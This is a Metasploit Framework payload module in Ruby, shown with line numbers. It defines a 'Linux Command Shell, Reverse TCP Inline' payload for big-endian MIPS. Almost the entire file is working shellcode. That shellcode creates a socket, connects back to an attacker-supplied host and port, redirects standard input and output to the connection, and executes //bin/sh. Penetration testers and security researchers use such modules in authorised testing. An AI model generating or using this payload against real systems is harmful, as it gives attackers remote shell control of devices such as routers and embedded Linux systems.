Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 184
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
18
      'Description'   => 'Connect back to attacker and spawn a command shell',
19
      'Author'        =>
20
        [
21
          'rigan <imrigan[at]gmail.com>', # Original shellcode
22
          'juan vazquez' # Metasploit module
23
        ],
24
      'References'    =>
25
        [
26
          ['EDB', '18226']
27
        ],
28
      'License'       => MSF_LICENSE,
29
      'Platform'      => 'linux',
30
      'Arch'          => ARCH_MIPSBE,
31
      'Handler'       => Msf::Handler::ReverseTcp,
32
      'Session'       => Msf::Sessions::CommandShellUnix,
33
      'Payload'       =>
34
        {
35
          'Offsets' => { },
36
          'Payload' => ''
37
        })
38
    )
39
  end
40

41
  def generate(_opts = {})
42
    if( !datastore['LHOST'] or datastore['LHOST'].empty? )
43
      return super
44
    end
45

46
    host = Rex::Socket.addr_atoi(datastore['LHOST'])
47
    port = Integer(datastore['LPORT'])
48

49
    host = [host].pack("N").unpack("cccc")
50
    port = [port].pack("n").unpack("cc")
51

52
    shellcode =
53
      # sys_socket
54
      # a0: domain
55
      # a1: type
56
      # a2: protocol
57
      "\x24\x0f\xff\xfa" + # li t7,-6
58
      "\x01\xe0\x78\x27" + # nor t7,t7,zero
59
      "\x21\xe4\xff\xfd" + # addi a0,t7,-3
60
      "\x21\xe5\xff\xfd" + # addi a1,t7,-3
61
      "\x28\x06\xff\xff" + # slti a2,zero,-1
62
      "\x24\x02\x10\x57" + # li v0,4183 # sys_socket
63
      "\x01\x01\x01\x0c" + # syscall 0x40404
64

65
      # sys_connect
66
      # a0: sockfd (stored on the stack)
67
      # a1: addr (data stored on the stack)
68
      # a2: addrlen
69
      "\xaf\xa2\xff\xff" + # sw v0,-1(sp)
70
      "\x8f\xa4\xff\xff" + # lw a0,-1(sp)
71
      "\x34\x0f\xff\xfd" + # li t7,0xfffd
72
      "\x01\xe0\x78\x27" + # nor t7,t7,zero
73
      "\xaf\xaf\xff\xe0" + # sw t7,-32(sp)
74
      "\x3c\x0e" + port.pack("C2") + # lui t6,0x1f90
75
      "\x35\xce" + port.pack("C2") + # ori t6,t6,0x1f90
76
      "\xaf\xae\xff\xe4" + # sw t6,-28(sp)
77
      "\x3c\x0e" + host[0..1].pack("C2") + # lui t6,0x7f01
78
      "\x35\xce" + host[2..3].pack("C2") + # ori t6,t6,0x101
79
      "\xaf\xae\xff\xe6" + # sw t6,-26(sp)
80
      "\x27\xa5\xff\xe2" + # addiu a1,sp,-30
81
      "\x24\x0c\xff\xef" + # li t4,-17
82
      "\x01\x80\x30\x27" + # nor a2,t4,zero
83
      "\x24\x02\x10\x4a" + # li v0,4170  # sys_connect
84
      "\x01\x01\x01\x0c" + # syscall 0x40404
85

86
      # sys_dup2
87
      # a0: oldfd (socket)
88
      # a1: newfd (0, 1, 2)
89
      "\x24\x11\xff\xfd" + # li s1,-3
90
      "\x02\x20\x88\x27" + # nor s1,s1,zero
91
      "\x8f\xa4\xff\xff" + # lw a0,-1(sp)
92
      "\x02\x20\x28\x21" + # move a1,s1 # dup2_loop
93
      "\x24\x02\x0f\xdf" + # li v0,4063 # sys_dup2
94
      "\x01\x01\x01\x0c" + # syscall 0x40404
95
      "\x24\x10\xff\xff" + # li s0,-1
96
      "\x22\x31\xff\xff" + # addi s1,s1,-1
97
      "\x16\x30\xff\xfa" + # bne s1,s0,68 <dup2_loop>
98

99
      # sys_execve
100
      # a0: filename (stored on the stack) "//bin/sh"
101
      # a1: argv "//bin/sh"
102
      # a2: envp (null)
103
      "\x28\x06\xff\xff" + # slti a2,zero,-1
104
      "\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"
105
      "\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"
106
      "\xaf\xaf\xff\xec" + # sw t7,-20(sp)
107
      "\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"
108
      "\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"
109
      "\xaf\xae\xff\xf0" + # sw t6,-16(sp)
110
      "\xaf\xa0\xff\xf4" + # sw zero,-12(sp)
111
      "\x27\xa4\xff\xec" + # addiu a0,sp,-20
112
      "\xaf\xa4\xff\xf8" + # sw a0,-8(sp)
113
      "\xaf\xa0\xff\xfc" + # sw zero,-4(sp)
114
      "\x27\xa5\xff\xf8" + # addiu a1,sp,-8
115
      "\x24\x02\x0f\xab" + # li v0,4011 # sys_execve
116
      "\x01\x01\x01\x0c"  # syscall 0x40404
117

118
    return super + shellcode
119
  end
120
end
121

122